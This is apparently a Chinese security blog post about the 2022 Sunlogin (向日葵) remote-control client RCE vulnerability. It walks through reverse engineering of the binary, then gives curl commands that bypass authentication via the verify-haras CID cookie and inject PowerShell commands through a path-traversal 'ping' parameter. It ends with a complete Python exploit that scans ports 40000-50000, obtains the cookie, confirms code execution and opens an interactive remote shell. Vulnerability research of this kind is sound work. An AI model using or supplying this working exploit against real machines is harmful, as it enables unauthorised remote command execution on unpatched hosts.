loading...
向日葵RCE漏洞分析
Published in:2022-08-20 | category: RCE

0x00漏洞范围

  • 个人版 ≤ V11.0.0.33

  • 简约版 ≤ V1.0.1.43315

  • 漏洞编号:CNVD-2022-10270、CNVD-2022-03672

  • 漏洞级别:高危

0x01逆向分析

以10.5.0版本为例https://zgao.top/download/SunloginClient_10.5.0.29613_X64.exe

通过peid和die查壳得知向日葵是由upx打包的,首先需要脱掉upx壳

从函数sub_140E80B44得知,向日葵在程序启动的时候会随机监听40000以上的高端口

在函数sub_140E88084可以找到向日葵的各个接口

跟进sub_1403D49F8函数

继续跟进sub_140E95C7C函数

从cgi-bin/rpc接口开始看,跟进sub_140E91498函数

发现v15是由v60参数值与v123作比较,并返回真假

往下翻可以看到有一个v123等于verify-haras

退回来跟进sub_140E902BC函数

发现当命令是ping或nslookup,则会跳转到LABEL_27处

其中在LABEL_27处有一个函数是命令执行,跟进sub_140E95470函数

接触的windows编程比较少,通过查了下百度,了解到CreateProcess是一个可以命令行执行的API函数,可以拼接执行命令

除此之外,能进行调用命令行的函数还有

1
2
3
4
5
winExec()
CreateProcess()
System()
pipopen() //管道函数
ShellExecute()

确定了sub_1403D49F8函数就是调用不同接口的函数,往上翻可以看到有CID和Cookie字段

往下翻有一个验证CID是否正确的函数

0x02漏洞原理

向日葵启动时会先Oray远程服务器连接,RCE发生在/check接口,当传入值为ping或nslookup开头则会触发RCE。大致流程就是访问cgi-bin/rpc接口,向action参数传入值,值就是刚刚的verify-haras,通过返回的verify_string,再将该值传入CID并赋值给Cookie,达到绕过账号密码验证的目的实现RCE

0x03漏洞复现

先查看下受害主机的IP地址

从上文得知向日葵会从40000+高端口开放服务,并且可以通过查看向日葵启动日志来找到所开放的服务端口

端口开在了49181

通过本地curl命令远程发起访问

1
curl 192.168.209.132:49181/cgi-bin/rpc?action=verify-haras

获得了verify_string,将它传到CID上并赋值给Cookie,即可实现RCE

1
curl 192.168.209.132:49181/check?cmd=ping../../../../../windows/system32/windowspowershell/v1.0/powershell.exe+whoami --cookie "CID=dmPqDgSa8jOYgp1Iu1U7l1HbRTVJwZL3"

0x04脚本编写

首先就是要把思路列出来

1、若针对一台目的主机编写脚本,则不用考虑IP和路径,但是端口还是需要尝试的,因为是随机开放,不能事先预知到是哪一个端口

2、其次最主要的就是先拿到CID,然后构造payload

扫描端口可以使用socket连接,导入socket模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from socket import *

def PortScan(host,port):
try:
s=socket(AF_INET,SOCK_STREAM) #创建socket
s.connect((host,port)) #连接socket对象
print(f"{port} alive")
s.close() #关闭socket流
except:
pass
def scan():
host=input("输入IP:")
for port in range(40000,50000):
PortScan(host,port)

if __name__=='__main__':
scan()

这样单个比较慢,需要使用到多线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from socket import *
import threading

def PortScan(host,port):
try:
s=socket(AF_INET,SOCK_STREAM)
s.connect((host,port))
threading.Lock().acquire() #互斥锁
print(f"{port} alive")
threading.Lock.release() #释放锁
s.close()
except:
pass
def scan():
host=input("输入IP:")
for port in range(40000,50000):
t=threading.Thread(target=PortScan,args=(host,port))
t.start()

if __name__=='__main__':
scan()

接下来就是检查是否开启了服务,使用requests模块发起网络请求

1
2
3
4
5
6
7
8
9
10
11
12
13
def poc():
global port_rce
for port in ports:
print(f"{port} service surving")
host_url = 'http://' + str(host) + ':' + str(port)
try:
url = requests.get(host_url, timeout=1)
if str(url.json()) == "{'success': False, 'msg': 'Verification failure'}":
port_rce = str(port)
print(f"---------- {port_rce} may be available! ----------")
except:
print(f"{port} cannot access.")
print("finish!!!\n")

采取最基本的json格式函数,当回显为{‘success’: False, ‘msg’: ‘Verification failure’}则证明存在向日葵服务

然后就是检查漏洞是否存在模块

1
2
3
4
5
6
7
8
9
10
def exp():
global port_rce,Cookie
host_url='http://'+str(host)+':'+str(port_rce)+'/cgi-bin/rpc?action=verify-haras'
CID=str(requests.get(host_url).json())[-45:-13]
print(f"your CID is {CID}")
Cookie= {"CID":CID}
rce_url='http://'+str(host)+':'+str(port_rce)+"/check?cmd=ping../../../../../windows/system32/windowspowershell/v1.0/powershell.exe+echo+1"
req=requests.get(rce_url,cookies=Cookie).text
if str(req=='1\r\n'):
print("rce!!!!!")

写shell模块

1
2
3
4
5
6
7
def shell():
global port_rce,cookie
cmd=''
while 1:
cmd=input("shell:")
url='http://'+str(host)+':'+str(port_rce)+'/check?cmd=ping../../../../../windows/system32/windowspowershell/v1.0/powershell.exe+'+str(cmd)
print(requests.get(url,cookies=Cookie).text)

可以自行写入命令

总体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from socket import *
import threading
import requests


def PortScan(host, port):
try:
s = socket(AF_INET, SOCK_STREAM) # 创建socket
s.connect((host, port)) # 连接socket对象
threading.Lock().acquire() # 互斥锁
ports.append(port)
threading.Lock.release() # 释放锁
s.close() # 关闭socket流
except:
pass


def scan():
for port in range(40000, 50000):
t = threading.Thread(target=PortScan, args=(host, port))
t.start()


def poc():
global port_rce
for port in ports:
print(f"{port} service surving")
host_url = 'http://' + str(host) + ':' + str(port)
try:
url = requests.get(host_url, timeout=1)
if str(url.json()) == "{'success': False, 'msg': 'Verification failure'}":
port_rce = str(port)
print(f"---------- {port_rce} may be available! ----------")
except:
print(f"{port} cannot access.")
print("finish!!!\n")

def exp():
global port_rce,Cookie
host_url='http://'+str(host)+':'+str(port_rce)+'/cgi-bin/rpc?action=verify-haras'
CID=str(requests.get(host_url).json())[-45:-13]
print(f"your CID is {CID}")
Cookie= {"CID":CID}
rce_url='http://'+str(host)+':'+str(port_rce)+"/check?cmd=ping../../../../../windows/system32/windowspowershell/v1.0/powershell.exe+echo+1"
req=requests.get(rce_url,cookies=Cookie).text
if str(req=='1\r\n'):
print("rce!!!!!")

def shell():
global port_rce,cookie
#time.sleep(3)
cmd=''
while 1:
cmd=input("shell:")
url='http://'+str(host)+':'+str(port_rce)+'/check?cmd=ping../../../../../windows/system32/windowspowershell/v1.0/powershell.exe+'+str(cmd)
print(requests.get(url,cookies=Cookie).text)


if __name__ == '__main__':
print("hacker by wh1t3zer")
host = input("输入IP:")
port_rce = ''
Cookie={}
ports = []
scan()
poc()
if port_rce:
exp()
command = input("是否写shell?输入y或n")
if(command=='y'):
shell()
else:
exit

0x05总结

由于写脚本比较少的缘故,写的还不是很完善,期间还参考了一些资料,动手能力还有待提高。总的来说这个漏洞的危害性还是比较大的,触发的条件比较低,开启向日葵服务的主机需要更新到最新版本。

Prev:
浅谈逆向入门有关的知识
Next:
Log4j2漏洞复现
catalog
catalog